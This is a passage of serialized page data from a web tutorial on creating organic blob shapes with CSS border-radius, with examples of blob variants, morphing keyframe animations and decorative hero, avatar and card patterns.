instead of a circular one. This asymmetry is what produces the organic blob effect.",[33,45624,45626],{"id":45625},"understanding-the-mapping","Understanding the Mapping",[135,45628,45630],{"className":1554,"code":45629,"language":1556,"meta":141,"style":141},"border-radius: [TL-h] [TR-h] [BR-h] [BL-h] \u002F [TL-v] [TR-v] [BR-v] [BL-v];\n",[143,45631,45632],{"__ignoreMap":141},[1560,45633,45634,45636,45638,45641,45644,45647,45649,45652,45654,45657,45660,45663,45665,45668,45670,45673,45675,45678],{"class":1562,"line":1563},[1560,45635,16947],{"class":2484},[1560,45637,37187],{"class":1570},[1560,45639,45640],{"class":1566},"TL-h",[1560,45642,45643],{"class":1570},"] [",[1560,45645,45646],{"class":1566},"TR-h",[1560,45648,45643],{"class":1570},[1560,45650,45651],{"class":1566},"BR-h",[1560,45653,45643],{"class":1570},[1560,45655,45656],{"class":1566},"BL-h",[1560,45658,45659],{"class":1570},"] \u002F [",[1560,45661,45662],{"class":1566},"TL-v",[1560,45664,45643],{"class":1570},[1560,45666,45667],{"class":1566},"TR-v",[1560,45669,45643],{"class":1570},[1560,45671,45672],{"class":1566},"BR-v",[1560,45674,45643],{"class":1570},[1560,45676,45677],{"class":1566},"BL-v",[1560,45679,13502],{"class":1570},[193,45681,45682,45697],{},[196,45683,45684],{},[199,45685,45686,45689,45692,45695],{},[202,45687,45688],{},"Position",[202,45690,45691],{},"Horizontal",[202,45693,45694],{},"Vertical",[202,45696,29641],{},[211,45698,45699,45711,45723,45736],{},[199,45700,45701,45704,45706,45708],{},[216,45702,45703],{},"Top-left",[216,45705,2162],{},[216,45707,2162],{},[216,45709,45710],{},"Balanced curve",[199,45712,45713,45716,45718,45720],{},[216,45714,45715],{},"Top-right",[216,45717,5314],{},[216,45719,2173],{},[216,45721,45722],{},"Sharper inward curve",[199,45724,45725,45728,45730,45733],{},[216,45726,45727],{},"Bottom-right",[216,45729,2173],{},[216,45731,45732],{},"70%",[216,45734,45735],{},"Wide, sweeping curve",[199,45737,45738,45741,45743,45745],{},[216,45739,45740],{},"Bottom-left",[216,45742,45732],{},[216,45744,5314],{},[216,45746,45747],{},"Moderate outward curve",[11,45749,45751],{"id":45750},"creating-blob-variations","Creating Blob Variations",[33,45753,45755],{"id":45754},"soft-blob","Soft Blob",[135,45757,45759],{"className":1554,"code":45758,"language":1556,"meta":141,"style":141},".blob-soft {\n  width: 300px;\n  height: 300px;\n  border-radius: 60% 40% 70% 30% \u002F 50% 60% 40% 60%;\n  background: #a78bfa;\n}\n",[143,45760,45761,45768,45780,45792,45834,45845],{"__ignoreMap":141},[1560,45762,45763,45766],{"class":1562,"line":1563},[1560,45764,45765],{"class":1566},".blob-soft",[1560,45767,1571],{"class":1570},[1560,45769,45770,45772,45774,45776,45778],{"class":1562,"line":337},[1560,45771,12386],{"class":1576},[1560,45773,1663],{"class":1570},[1560,45775,44009],{"class":1576},[1560,45777,1670],{"class":1669},[1560,45779,2228],{"class":1570},[1560,45781,45782,45784,45786,45788,45790],{"class":1562,"line":343},[1560,45783,12400],{"class":1576},[1560,45785,1663],{"class":1570},[1560,45787,44009],{"class":1576},[1560,45789,1670],{"class":1669},[1560,45791,2228],{"class":1570},[1560,45793,45794,45796,45798,45800,45802,45804,45806,45808,45810,45812,45814,45816,45818,45820,45822,45824,45826,45828,45830,45832],{"class":1562,"line":365},[1560,45795,17294],{"class":1576},[1560,45797,1663],{"class":1570},[1560,45799,18333],{"class":1576},[1560,45801,17990],{"class":1669},[1560,45803,18343],{"class":1576},[1560,45805,17990],{"class":1669},[1560,45807,35515],{"class":1576},[1560,45809,17990],{"class":1669},[1560,45811,35504],{"class":1576},[1560,45813,17990],{"class":1669},[1560,45815,14237],{"class":1570},[1560,45817,18059],{"class":1576},[1560,45819,17990],{"class":1669},[1560,45821,18338],{"class":1576},[1560,45823,17990],{"class":1669},[1560,45825,18343],{"class":1576},[1560,45827,17990],{"class":1669},[1560,45829,18338],{"class":1576},[1560,45831,17990],{"class":1669},[1560,45833,2228],{"class":1570},[1560,45835,45836,45838,45840,45843],{"class":1562,"line":889},[1560,45837,5665],{"class":1576},[1560,45839,1663],{"class":1570},[1560,45841,45842],{"class":1576},"#a78bfa",[1560,45844,2228],{"class":1570},[1560,45846,45847],{"class":1562,"line":1710},[1560,45848,1585],{"class":1570},[33,45850,45852],{"id":45851},"stretched-blob","Stretched Blob",[135,45854,45856],{"className":1554,"code":45855,"language":1556,"meta":141,"style":141},".blob-stretched {\n  width: 400px;\n  height: 250px;\n  border-radius: 50% 60% 40% 70% \u002F 60% 40% 70% 50%;\n  background: #34d399;\n}\n",[143,45857,45858,45865,45877,45890,45932,45943],{"__ignoreMap":141},[1560,45859,45860,45863],{"class":1562,"line":1563},[1560,45861,45862],{"class":1566},".blob-stretched",[1560,45864,1571],{"class":1570},[1560,45866,45867,45869,45871,45873,45875],{"class":1562,"line":337},[1560,45868,12386],{"class":1576},[1560,45870,1663],{"class":1570},[1560,45872,24703],{"class":1576},[1560,45874,1670],{"class":1669},[1560,45876,2228],{"class":1570},[1560,45878,45879,45881,45883,45886,45888],{"class":1562,"line":343},[1560,45880,12400],{"class":1576},[1560,45882,1663],{"class":1570},[1560,45884,45885],{"class":1576},"250",[1560,45887,1670],{"class":1669},[1560,45889,2228],{"class":1570},[1560,45891,45892,45894,45896,45898,45900,45902,45904,45906,45908,45910,45912,45914,45916,45918,45920,45922,45924,45926,45928,45930],{"class":1562,"line":365},[1560,45893,17294],{"class":1576},[1560,45895,1663],{"class":1570},[1560,45897,18059],{"class":1576},[1560,45899,17990],{"class":1669},[1560,45901,18338],{"class":1576},[1560,45903,17990],{"class":1669},[1560,45905,18343],{"class":1576},[1560,45907,17990],{"class":1669},[1560,45909,35515],{"class":1576},[1560,45911,17990],{"class":1669},[1560,45913,14237],{"class":1570},[1560,45915,18333],{"class":1576},[1560,45917,17990],{"class":1669},[1560,45919,18343],{"class":1576},[1560,45921,17990],{"class":1669},[1560,45923,35515],{"class":1576},[1560,45925,17990],{"class":1669},[1560,45927,18318],{"class":1576},[1560,45929,17990],{"class":1669},[1560,45931,2228],{"class":1570},[1560,45933,45934,45936,45938,45941],{"class":1562,"line":889},[1560,45935,5665],{"class":1576},[1560,45937,1663],{"class":1570},[1560,45939,45940],{"class":1576},"#34d399",[1560,45942,2228],{"class":1570},[1560,45944,45945],{"class":1562,"line":1710},[1560,45946,1585],{"class":1570},[33,45948,45950],{"id":45949},"sharp-organic-shape","Sharp Organic Shape",[135,45952,45954],{"className":1554,"code":45953,"language":1556,"meta":141,"style":141},".blob-sharp {\n  width: 300px;\n  height: 300px;\n  border-radius: 80% 20% 60% 40% \u002F 40% 60% 20% 80%;\n  background: #f472b6;\n}\n",[143,45955,45956,45963,45975,45987,46030,46041],{"__ignoreMap":141},[1560,45957,45958,45961],{"class":1562,"line":1563},[1560,45959,45960],{"class":1566},".blob-sharp",[1560,45962,1571],{"class":1570},[1560,45964,45965,45967,45969,45971,45973],{"class":1562,"line":337},[1560,45966,12386],{"class":1576},[1560,45968,1663],{"class":1570},[1560,45970,44009],{"class":1576},[1560,45972,1670],{"class":1669},[1560,45974,2228],{"class":1570},[1560,45976,45977,45979,45981,45983,45985],{"class":1562,"line":343},[1560,45978,12400],{"class":1576},[1560,45980,1663],{"class":1570},[1560,45982,44009],{"class":1576},[1560,45984,1670],{"class":1669},[1560,45986,2228],{"class":1570},[1560,45988,45989,45991,45993,45995,45997,46000,46002,46004,46006,46008,46010,46012,46014,46016,46018,46020,46022,46024,46026,46028],{"class":1562,"line":365},[1560,45990,17294],{"class":1576},[1560,45992,1663],{"class":1570},[1560,45994,5321],{"class":1576},[1560,45996,17990],{"class":1669},[1560,45998,45999],{"class":1576}," 20",[1560,46001,17990],{"class":1669},[1560,46003,18338],{"class":1576},[1560,46005,17990],{"class":1669},[1560,46007,18343],{"class":1576},[1560,46009,17990],{"class":1669},[1560,46011,14237],{"class":1570},[1560,46013,18162],{"class":1576},[1560,46015,17990],{"class":1669},[1560,46017,18338],{"class":1576},[1560,46019,17990],{"class":1669},[1560,46021,45999],{"class":1576},[1560,46023,17990],{"class":1669},[1560,46025,9342],{"class":1576},[1560,46027,17990],{"class":1669},[1560,46029,2228],{"class":1570},[1560,46031,46032,46034,46036,46039],{"class":1562,"line":889},[1560,46033,5665],{"class":1576},[1560,46035,1663],{"class":1570},[1560,46037,46038],{"class":1576},"#f472b6",[1560,46040,2228],{"class":1570},[1560,46042,46043],{"class":1562,"line":1710},[1560,46044,1585],{"class":1570},[33,46046,46048],{"id":46047},"minimal-blob","Minimal Blob",[135,46050,46052],{"className":1554,"code":46051,"language":1556,"meta":141,"style":141},".blob-minimal {\n  width: 300px;\n  height: 300px;\n  border-radius: 50% 50% 45% 55% \u002F 55% 45% 55% 45%;\n  background: #60a5fa;\n}\n",[143,46053,46054,46061,46073,46085,46130,46141],{"__ignoreMap":141},[1560,46055,46056,46059],{"class":1562,"line":1563},[1560,46057,46058],{"class":1566},".blob-minimal",[1560,46060,1571],{"class":1570},[1560,46062,46063,46065,46067,46069,46071],{"class":1562,"line":337},[1560,46064,12386],{"class":1576},[1560,46066,1663],{"class":1570},[1560,46068,44009],{"class":1576},[1560,46070,1670],{"class":1669},[1560,46072,2228],{"class":1570},[1560,46074,46075,46077,46079,46081,46083],{"class":1562,"line":343},[1560,46076,12400],{"class":1576},[1560,46078,1663],{"class":1570},[1560,46080,44009],{"class":1576},[1560,46082,1670],{"class":1669},[1560,46084,2228],{"class":1570},[1560,46086,46087,46089,46091,46093,46095,46097,46099,46102,46104,46107,46109,46111,46114,46116,46118,46120,46122,46124,46126,46128],{"class":1562,"line":365},[1560,46088,17294],{"class":1576},[1560,46090,1663],{"class":1570},[1560,46092,18059],{"class":1576},[1560,46094,17990],{"class":1669},[1560,46096,18318],{"class":1576},[1560,46098,17990],{"class":1669},[1560,46100,46101],{"class":1576}," 45",[1560,46103,17990],{"class":1669},[1560,46105,46106],{"class":1576}," 55",[1560,46108,17990],{"class":1669},[1560,46110,14237],{"class":1570},[1560,46112,46113],{"class":1576},"55",[1560,46115,17990],{"class":1669},[1560,46117,46101],{"class":1576},[1560,46119,17990],{"class":1669},[1560,46121,46106],{"class":1576},[1560,46123,17990],{"class":1669},[1560,46125,46101],{"class":1576},[1560,46127,17990],{"class":1669},[1560,46129,2228],{"class":1570},[1560,46131,46132,46134,46136,46139],{"class":1562,"line":889},[1560,46133,5665],{"class":1576},[1560,46135,1663],{"class":1570},[1560,46137,46138],{"class":1576},"#60a5fa",[1560,46140,2228],{"class":1570},[1560,46142,46143],{"class":1562,"line":1710},[1560,46144,1585],{"class":1570},[16,46146,46147],{},"The closer all values are to 50%, the more circular the shape. Pushing individual values to extremes (80%\u002F20%) creates more dramatic deformations.",[11,46149,46151],{"id":46150},"animating-blobs","Animating Blobs",[16,46153,46154,46155,46157],{},"Blobs come alive with animation. Use ",[143,46156,19946],{}," to morph between border-radius values:",[135,46159,46161],{"className":1554,"code":46160,"language":1556,"meta":141,"style":141},"@keyframes morph {\n  0%   { border-radius: 60% 40% 30% 70% \u002F 60% 30% 70% 40%; }\n  50%  { border-radius: 30% 60% 70% 40% \u002F 50% 60% 30% 60%; }\n  100% { border-radius: 60% 40% 30% 70% \u002F 60% 30% 70% 40%; }\n}\n\n.blob-animated {\n  width: 300px;\n  height: 300px;\n  background: linear-gradient(135deg, #667eea, #764ba2);\n  animation: morph 8s ease-in-out infinite;\n}\n",[143,46162,46163,46171,46217,46263,46309,46313,46317,46324,46336,46348,46376,46392],{"__ignoreMap":141},[1560,46164,46165,46167,46169],{"class":1562,"line":1563},[1560,46166,19946],{"class":1669},[1560,46168,36393],{"class":2219},[1560,46170,1571],{"class":1570},[1560,46172,46173,46175,46177,46179,46181,46183,46185,46187,46189,46191,46193,46195,46197,46199,46201,46203,46205,46207,46209,46211,46213,46215],{"class":1562,"line":337},[1560,46174,19965],{"class":1566},[1560,46176,16964],{"class":1570},[1560,46178,16947],{"class":1576},[1560,46180,1663],{"class":1570},[1560,46182,18333],{"class":1576},[1560,46184,17990],{"class":1669},[1560,46186,18343],{"class":1576},[1560,46188,17990],{"class":1669},[1560,46190,35504],{"class":1576},[1560,46192,17990],{"class":1669},[1560,46194,35515],{"class":1576},[1560,46196,17990],{"class":1669},[1560,46198,14237],{"class":1570},[1560,46200,18333],{"class":1576},[1560,46202,17990],{"class":1669},[1560,46204,35504],{"class":1576},[1560,46206,17990],{"class":1669},[1560,46208,35515],{"class":1576},[1560,46210,17990],{"class":1669},[1560,46212,18343],{"class":1576},[1560,46214,17990],{"class":1669},[1560,46216,1673],{"class":1570},[1560,46218,46219,46221,46223,46225,46227,46229,46231,46233,46235,46237,46239,46241,46243,46245,46247,46249,46251,46253,46255,46257,46259,46261],{"class":1562,"line":343},[1560,46220,20020],{"class":1566},[1560,46222,36449],{"class":1570},[1560,46224,16947],{"class":1576},[1560,46226,1663],{"class":1570},[1560,46228,23995],{"class":1576},[1560,46230,17990],{"class":1669},[1560,46232,18338],{"class":1576},[1560,46234,17990],{"class":1669},[1560,46236,35515],{"class":1576},[1560,46238,17990],{"class":1669},[1560,46240,18343],{"class":1576},[1560,46242,17990],{"class":1669},[1560,46244,14237],{"class":1570},[1560,46246,18059],{"class":1576},[1560,46248,17990],{"class":1669},[1560,46250,18338],{"class":1576},[1560,46252,17990],{"class":1669},[1560,46254,35504],{"class":1576},[1560,46256,17990],{"class":1669},[1560,46258,18338],{"class":1576},[1560,46260,17990],{"class":1669},[1560,46262,1673],{"class":1570},[1560,46264,46265,46267,46269,46271,46273,46275,46277,46279,46281,46283,46285,46287,46289,46291,46293,46295,46297,46299,46301,46303,46305,46307],{"class":1562,"line":365},[1560,46266,36587],{"class":1566},[1560,46268,1658],{"class":1570},[1560,46270,16947],{"class":1576},[1560,46272,1663],{"class":1570},[1560,46274,18333],{"class":1576},[1560,46276,17990],{"class":1669},[1560,46278,18343],{"class":1576},[1560,46280,17990],{"class":1669},[1560,46282,35504],{"class":1576},[1560,46284,17990],{"class":1669},[1560,46286,35515],{"class":1576},[1560,46288,17990],{"class":1669},[1560,46290,14237],{"class":1570},[1560,46292,18333],{"class":1576},[1560,46294,17990],{"class":1669},[1560,46296,35504],{"class":1576},[1560,46298,17990],{"class":1669},[1560,46300,35515],{"class":1576},[1560,46302,17990],{"class":1669},[1560,46304,18343],{"class":1576},[1560,46306,17990],{"class":1669},[1560,46308,1673],{"class":1570},[1560,46310,46311],{"class":1562,"line":889},[1560,46312,1585],{"class":1570},[1560,46314,46315],{"class":1562,"line":1710},[1560,46316,1702],{"emptyLinePlaceholder":363},[1560,46318,46319,46322],{"class":1562,"line":1717},[1560,46320,46321],{"class":1566},".blob-animated",[1560,46323,1571],{"class":1570},[1560,46325,46326,46328,46330,46332,46334],{"class":1562,"line":1747},[1560,46327,12386],{"class":1576},[1560,46329,1663],{"class":1570},[1560,46331,44009],{"class":1576},[1560,46333,1670],{"class":1669},[1560,46335,2228],{"class":1570},[1560,46337,46338,46340,46342,46344,46346],{"class":1562,"line":2507},[1560,46339,12400],{"class":1576},[1560,46341,1663],{"class":1570},[1560,46343,44009],{"class":1576},[1560,46345,1670],{"class":1669},[1560,46347,2228],{"class":1570},[1560,46349,46350,46352,46354,46357,46359,46362,46364,46366,46369,46371,46374],{"class":1562,"line":2524},[1560,46351,5665],{"class":1576},[1560,46353,1663],{"class":1570},[1560,46355,46356],{"class":1576},"linear-gradient",[1560,46358,1688],{"class":1570},[1560,46360,46361],{"class":1576},"135",[1560,46363,1694],{"class":1669},[1560,46365,1459],{"class":1570},[1560,46367,46368],{"class":1576},"#667eea",[1560,46370,1459],{"class":1570},[1560,46372,46373],{"class":1576},"#764ba2",[1560,46375,1744],{"class":1570},[1560,46377,46378,46380,46382,46384,46386,46388,46390],{"class":1562,"line":2529},[1560,46379,20083],{"class":1576},[1560,46381,36651],{"class":1570},[1560,46383,10078],{"class":1576},[1560,46385,18727],{"class":1669},[1560,46387,20093],{"class":1576},[1560,46389,20096],{"class":1576},[1560,46391,2228],{"class":1570},[1560,46393,46394],{"class":1562,"line":2534},[1560,46395,1585],{"class":1570},[33,46397,46399],{"id":46398},"performance-tip","Performance Tip",[16,46401,46402,46403,46405],{},"Border-radius animation is GPU-accelerated in modern browsers, making it efficient for continuous animations. However, combine it with ",[143,46404,1514],{}," for the best performance profile:",[135,46407,46409],{"className":1554,"code":46408,"language":1556,"meta":141,"style":141},"@keyframes morph-float {\n  0%, 100% {\n    border-radius: 60% 40% 30% 70% \u002F 60% 30% 70% 40%;\n    transform: translateY(0) rotate(0deg);\n  }\n  50% {\n    border-radius: 30% 60% 70% 40% \u002F 50% 60% 30% 60%;\n    transform: translateY(-20px) rotate(5deg);\n  }\n}\n",[143,46410,46411,46420,46430,46473,46498,46502,46508,46550,46576,46580],{"__ignoreMap":141},[1560,46412,46413,46415,46418],{"class":1562,"line":1563},[1560,46414,19946],{"class":1669},[1560,46416,46417],{"class":2219}," morph-float",[1560,46419,1571],{"class":1570},[1560,46421,46422,46424,46426,46428],{"class":1562,"line":337},[1560,46423,19965],{"class":1566},[1560,46425,1459],{"class":1570},[1560,46427,19970],{"class":1566},[1560,46429,1571],{"class":1570},[1560,46431,46432,46435,46437,46439,46441,46443,46445,46447,46449,46451,46453,46455,46457,46459,46461,46463,46465,46467,46469,46471],{"class":1562,"line":343},[1560,46433,46434],{"class":1576},"    border-radius",[1560,46436,1663],{"class":1570},[1560,46438,18333],{"class":1576},[1560,46440,17990],{"class":1669},[1560,46442,18343],{"class":1576},[1560,46444,17990],{"class":1669},[1560,46446,35504],{"class":1576},[1560,46448,17990],{"class":1669},[1560,46450,35515],{"class":1576},[1560,46452,17990],{"class":1669},[1560,46454,14237],{"class":1570},[1560,46456,18333],{"class":1576},[1560,46458,17990],{"class":1669},[1560,46460,35504],{"class":1576},[1560,46462,17990],{"class":1669},[1560,46464,35515],{"class":1576},[1560,46466,17990],{"class":1669},[1560,46468,18343],{"class":1576},[1560,46470,17990],{"class":1669},[1560,46472,2228],{"class":1570},[1560,46474,46475,46478,46480,46482,46484,46486,46488,46490,46492,46494,46496],{"class":1562,"line":365},[1560,46476,46477],{"class":1576},"    transform",[1560,46479,1663],{"class":1570},[1560,46481,18845],{"class":1576},[1560,46483,1688],{"class":1570},[1560,46485,5285],{"class":1576},[1560,46487,1733],{"class":1570},[1560,46489,35461],{"class":1576},[1560,46491,1688],{"class":1570},[1560,46493,5285],{"class":1576},[1560,46495,1694],{"class":1669},[1560,46497,1744],{"class":1570},[1560,46499,46500],{"class":1562,"line":889},[1560,46501,4959],{"class":1570},[1560,46503,46504,46506],{"class":1562,"line":1710},[1560,46505,20020],{"class":1566},[1560,46507,1571],{"class":1570},[1560,46509,46510,46512,46514,46516,46518,46520,46522,46524,46526,46528,46530,46532,46534,46536,46538,46540,46542,46544,46546,46548],{"class":1562,"line":1717},[1560,46511,46434],{"class":1576},[1560,46513,1663],{"class":1570},[1560,46515,23995],{"class":1576},[1560,46517,17990],{"class":1669},[1560,46519,18338],{"class":1576},[1560,46521,17990],{"class":1669},[1560,46523,35515],{"class":1576},[1560,46525,17990],{"class":1669},[1560,46527,18343],{"class":1576},[1560,46529,17990],{"class":1669},[1560,46531,14237],{"class":1570},[1560,46533,18059],{"class":1576},[1560,46535,17990],{"class":1669},[1560,46537,18338],{"class":1576},[1560,46539,17990],{"class":1669},[1560,46541,35504],{"class":1576},[1560,46543,17990],{"class":1669},[1560,46545,18338],{"class":1576},[1560,46547,17990],{"class":1669},[1560,46549,2228],{"class":1570},[1560,46551,46552,46554,46556,46558,46560,46562,46564,46566,46568,46570,46572,46574],{"class":1562,"line":1747},[1560,46553,46477],{"class":1576},[1560,46555,1663],{"class":1570},[1560,46557,18845],{"class":1576},[1560,46559,1688],{"class":1570},[1560,46561,43943],{"class":1576},[1560,46563,1670],{"class":1669},[1560,46565,1733],{"class":1570},[1560,46567,35461],{"class":1576},[1560,46569,1688],{"class":1570},[1560,46571,13431],{"class":1576},[1560,46573,1694],{"class":1669},[1560,46575,1744],{"class":1570},[1560,46577,46578],{"class":1562,"line":2507},[1560,46579,4959],{"class":1570},[1560,46581,46582],{"class":1562,"line":2524},[1560,46583,1585],{"class":1570},[11,46585,46587],{"id":46586},"practical-design-patterns","Practical Design Patterns",[33,46589,46591],{"id":46590},"hero-background-blobs","Hero Background Blobs",[135,46593,46595],{"className":6417,"code":46594,"language":6419,"meta":141,"style":141},"\u003Csection class=\"relative overflow-hidden\">\n  \u003Cdiv class=\"absolute -top-20 -left-20 w-96 h-96 bg-purple-300\u002F30\n              border-radius: 60% 40% 30% 70% \u002F 60% 30% 70% 40%;\n              blur-xl\">\u003C\u002Fdiv>\n  \u003Cdiv class=\"absolute bottom-0 right-0 w-80 h-80 bg-pink-300\u002F30\n              border-radius: 40% 60% 70% 30% \u002F 40% 70% 30% 60%;\n              blur-xl\">\u003C\u002Fdiv>\n  \u003Cdiv class=\"relative z-10\">\n    \u003C!-- Hero content -->\n  \u003C\u002Fdiv>\n\u003C\u002Fsection>\n",[143,46596,46597,46613,46626,46631,46642,46655,46660,46670,46685,46690,46698],{"__ignoreMap":141},[1560,46598,46599,46601,46604,46606,46608,46611],{"class":1562,"line":1563},[1560,46600,6431],{"class":1570},[1560,46602,46603],{"class":2484},"section",[1560,46605,11423],{"class":1566},[1560,46607,7297],{"class":1570},[1560,46609,46610],{"class":5634},"\"relative overflow-hidden\"",[1560,46612,6441],{"class":1570},[1560,46614,46615,46617,46619,46621,46623],{"class":1562,"line":337},[1560,46616,11223],{"class":1570},[1560,46618,7291],{"class":2484},[1560,46620,11423],{"class":1566},[1560,46622,7297],{"class":1570},[1560,46624,46625],{"class":5634},"\"absolute -top-20 -left-20 w-96 h-96 bg-purple-300\u002F30\n",[1560,46627,46628],{"class":1562,"line":343},[1560,46629,46630],{"class":5634},"              border-radius: 60% 40% 30% 70% \u002F 60% 30% 70% 40%;\n",[1560,46632,46633,46636,46638,46640],{"class":1562,"line":365},[1560,46634,46635],{"class":5634},"              blur-xl\"",[1560,46637,12441],{"class":1570},[1560,46639,7291],{"class":2484},[1560,46641,6441],{"class":1570},[1560,46643,46644,46646,46648,46650,46652],{"class":1562,"line":889},[1560,46645,11223],{"class":1570},[1560,46647,7291],{"class":2484},[1560,46649,11423],{"class":1566},[1560,46651,7297],{"class":1570},[1560,46653,46654],{"class":5634},"\"absolute bottom-0 right-0 w-80 h-80 bg-pink-300\u002F30\n",[1560,46656,46657],{"class":1562,"line":1710},[1560,46658,46659],{"class":5634},"              border-radius: 40% 60% 70% 30% \u002F 40% 70% 30% 60%;\n",[1560,46661,46662,46664,46666,46668],{"class":1562,"line":1717},[1560,46663,46635],{"class":5634},[1560,46665,12441],{"class":1570},[1560,46667,7291],{"class":2484},[1560,46669,6441],{"class":1570},[1560,46671,46672,46674,46676,46678,46680,46683],{"class":1562,"line":1747},[1560,46673,11223],{"class":1570},[1560,46675,7291],{"class":2484},[1560,46677,11423],{"class":1566},[1560,46679,7297],{"class":1570},[1560,46681,46682],{"class":5634},"\"relative z-10\"",[1560,46684,6441],{"class":1570},[1560,46686,46687],{"class":1562,"line":2507},[1560,46688,46689],{"class":1649},"    \u003C!-- Hero content -->\n",[1560,46691,46692,46694,46696],{"class":1562,"line":2524},[1560,46693,12331],{"class":1570},[1560,46695,7291],{"class":2484},[1560,46697,6441],{"class":1570},[1560,46699,46700,46702,46704],{"class":1562,"line":2529},[1560,46701,11242],{"class":1570},[1560,46703,46603],{"class":2484},[1560,46705,6441],{"class":1570},[33,46707,46709],{"id":46708},"profile-avatar-blob","Profile Avatar Blob",[135,46711,46713],{"className":1554,"code":46712,"language":1556,"meta":141,"style":141},".avatar-blob {\n  width: 120px;\n  height: 120px;\n  border-radius: 62% 38% 58% 42% \u002F 48% 62% 38% 52%;\n  object-fit: cover;\n}\n",[143,46714,46715,46722,46734,46746,46792,46804],{"__ignoreMap":141},[1560,46716,46717,46720],{"class":1562,"line":1563},[1560,46718,46719],{"class":1566},".avatar-blob",[1560,46721,1571],{"class":1570},[1560,46723,46724,46726,46728,46730,46732],{"class":1562,"line":337},[1560,46725,12386],{"class":1576},[1560,46727,1663],{"class":1570},[1560,46729,18034],{"class":1576},[1560,46731,1670],{"class":1669},[1560,46733,2228],{"class":1570},[1560,46735,46736,46738,46740,46742,46744],{"class":1562,"line":343},[1560,46737,12400],{"class":1576},[1560,46739,1663],{"class":1570},[1560,46741,18034],{"class":1576},[1560,46743,1670],{"class":1669},[1560,46745,2228],{"class":1570},[1560,46747,46748,46750,46752,46754,46756,46758,46760,46763,46765,46768,46770,46772,46774,46776,46779,46781,46783,46785,46788,46790],{"class":1562,"line":365},[1560,46749,17294],{"class":1576},[1560,46751,1663],{"class":1570},[1560,46753,4825],{"class":1576},[1560,46755,17990],{"class":1669},[1560,46757,35866],{"class":1576},[1560,46759,17990],{"class":1669},[1560,46761,46762],{"class":1576}," 58",[1560,46764,17990],{"class":1669},[1560,46766,46767],{"class":1576}," 42",[1560,46769,17990],{"class":1669},[1560,46771,14237],{"class":1570},[1560,46773,32575],{"class":1576},[1560,46775,17990],{"class":1669},[1560,46777,46778],{"class":1576}," 62",[1560,46780,17990],{"class":1669},[1560,46782,35866],{"class":1576},[1560,46784,17990],{"class":1669},[1560,46786,46787],{"class":1576}," 52",[1560,46789,17990],{"class":1669},[1560,46791,2228],{"class":1570},[1560,46793,46794,46797,46799,46802],{"class":1562,"line":889},[1560,46795,46796],{"class":1576},"  object-fit",[1560,46798,1663],{"class":1570},[1560,46800,46801],{"class":1576},"cover",[1560,46803,2228],{"class":1570},[1560,46805,46806],{"class":1562,"line":1710},[1560,46807,1585],{"class":1570},[33,46809,46811],{"id":46810},"decorative-card-accent","Decorative Card Accent",[135,46813,46815],{"className":1554,"code":46814,"language":1556,"meta":141,"style":141},".card::before {\n  content: '';\n  position: absolute;\n  top: -30px;\n  right: -30px;\n  width: 120px;\n  height: 120px;\n  border-radius: 40% 60% 50% 50% \u002F 60% 40% 60% 40%;\n  background: rgba(99, 102, 241, 0.1);\n  z-index: -1;\n}\n",[143,46816,46817,46824,46834,46844,46857,46870,46882,46894,46936,46964,46974],{"__ignoreMap":141},[1560,46818,46819,46822],{"class":1562,"line":1563},[1560,46820,46821],{"class":1566},".card::before",[1560,46823,1571],{"class":1570},[1560,46825,46826,46828,46830,46832],{"class":1562,"line":337},[1560,46827,5629],{"class":1576},[1560,46829,1663],{"class":1570},[1560,46831,5635],{"class":5634},[1560,46833,2228],{"class":1570},[1560,46835,46836,46838,46840,46842],{"class":1562,"line":343},[1560,46837,5642],{"class":1576},[1560,46839,1663],{"class":1570},[1560,46841,5647],{"class":1576},[1560,46843,2228],{"class":1570},[1560,46845,46846,46849,46851,46853,46855],{"class":1562,"line":365},[1560,46847,46848],{"class":1576},"  top",[1560,46850,1663],{"class":1570},[1560,46852,36744],{"class":1576},[1560,46854,1670],{"class":1669},[1560,46856,2228],{"class":1570},[1560,46858,46859,46862,46864,46866,46868],{"class":1562,"line":889},[1560,46860,46861],{"class":1576},"  right",[1560,46863,1663],{"class":1570},[1560,46865,36744],{"class":1576},[1560,46867,1670],{"class":1669},[1560,46869,2228],{"class":1570},[1560,46871,46872,46874,46876,46878,46880],{"class":1562,"line":1710},[1560,46873,12386],{"class":1576},[1560,46875,1663],{"class":1570},[1560,46877,18034],{"class":1576},[1560,46879,1670],{"class":1669},[1560,46881,2228],{"class":1570},[1560,46883,46884,46886,46888,46890,46892],{"class":1562,"line":1717},[1560,46885,12400],{"class":1576},[1560,46887,1663],{"class":1570},[1560,46889,18034],{"class":1576},[1560,46891,1670],{"class":1669},[1560,46893,2228],{"class":1570},[1560,46895,46896,46898,46900,46902,46904,46906,46908,46910,46912,46914,46916,46918,46920,46922,46924,46926,46928,46930,46932,46934],{"class":1562,"line":1747},[1560,46897,17294],{"class":1576},[1560,46899,1663],{"class":1570},[1560,46901,18162],{"class":1576},[1560,46903,17990],{"class":1669},[1560,46905,18338],{"class":1576},[1560,46907,17990],{"class":1669},[1560,46909,18318],{"class":1576},[1560,46911,17990],{"class":1669},[1560,46913,18318],{"class":1576},[1560,46915,17990],{"class":1669},[1560,46917,14237],{"class":1570},[1560,46919,18333],{"class":1576},[1560,46921,17990],{"class":1669},[1560,46923,18343],{"class":1576},[1560,46925,17990],{"class":1669},[1560,46927,18338],{"class":1576},[1560,46929,17990],{"class":1669},[1560,46931,18343],{"class":1576},[1560,46933,17990],{"class":1669},[1560,46935,2228],{"class":1570},[1560,46937,46938,46940,46942,46944,46946,46948,46950,46952,46954,46957,46959,46962],{"class":1562,"line":2507},[1560,46939,5665],{"class":1576},[1560,46941,1663],{"class":1570},[1560,46943,5670],{"class":1576},[1560,46945,1688],{"class":1570},[1560,46947,5334],{"class":1576},[1560,46949,1459],{"class":1570},[1560,46951,5311],{"class":1576},[1560,46953,1459],{"class":1570},[1560,46955,46956],{"class":1576},"241",[1560,46958,1459],{"class":1570},[1560,46960,46961],{"class":1576},"0.1",[1560,46963,1744],{"class":1570},[1560,46965,46966,46968,46970,46972],{"class":1562,"line":2524},[1560,46967,19726],{"class":1576},[1560,46969,1663],{"class":1570},[1560,46971,19059],{"class":1576},[1560,46973,2228],{"class":1570},[1560,46975,46976],{"class":1562,"line":2529},[1560,46977,1585],{"class":1570},[11,46979,46981],{"id":46980},"combining-blobs-with-gradients","Combining Blobs with Gradients",[16,46983,46984],{},"Blobs paired with gradients produce rich, layered visuals:",[135,46986,46988],{"className":1554,"code":46987,"language":1556,"meta":141,"style":141},".blob-gradient {\n  width: 400px;\n  height: 400px;\n  border-radius: 60% 40% 30% 70% \u002F 60% 30% 70% 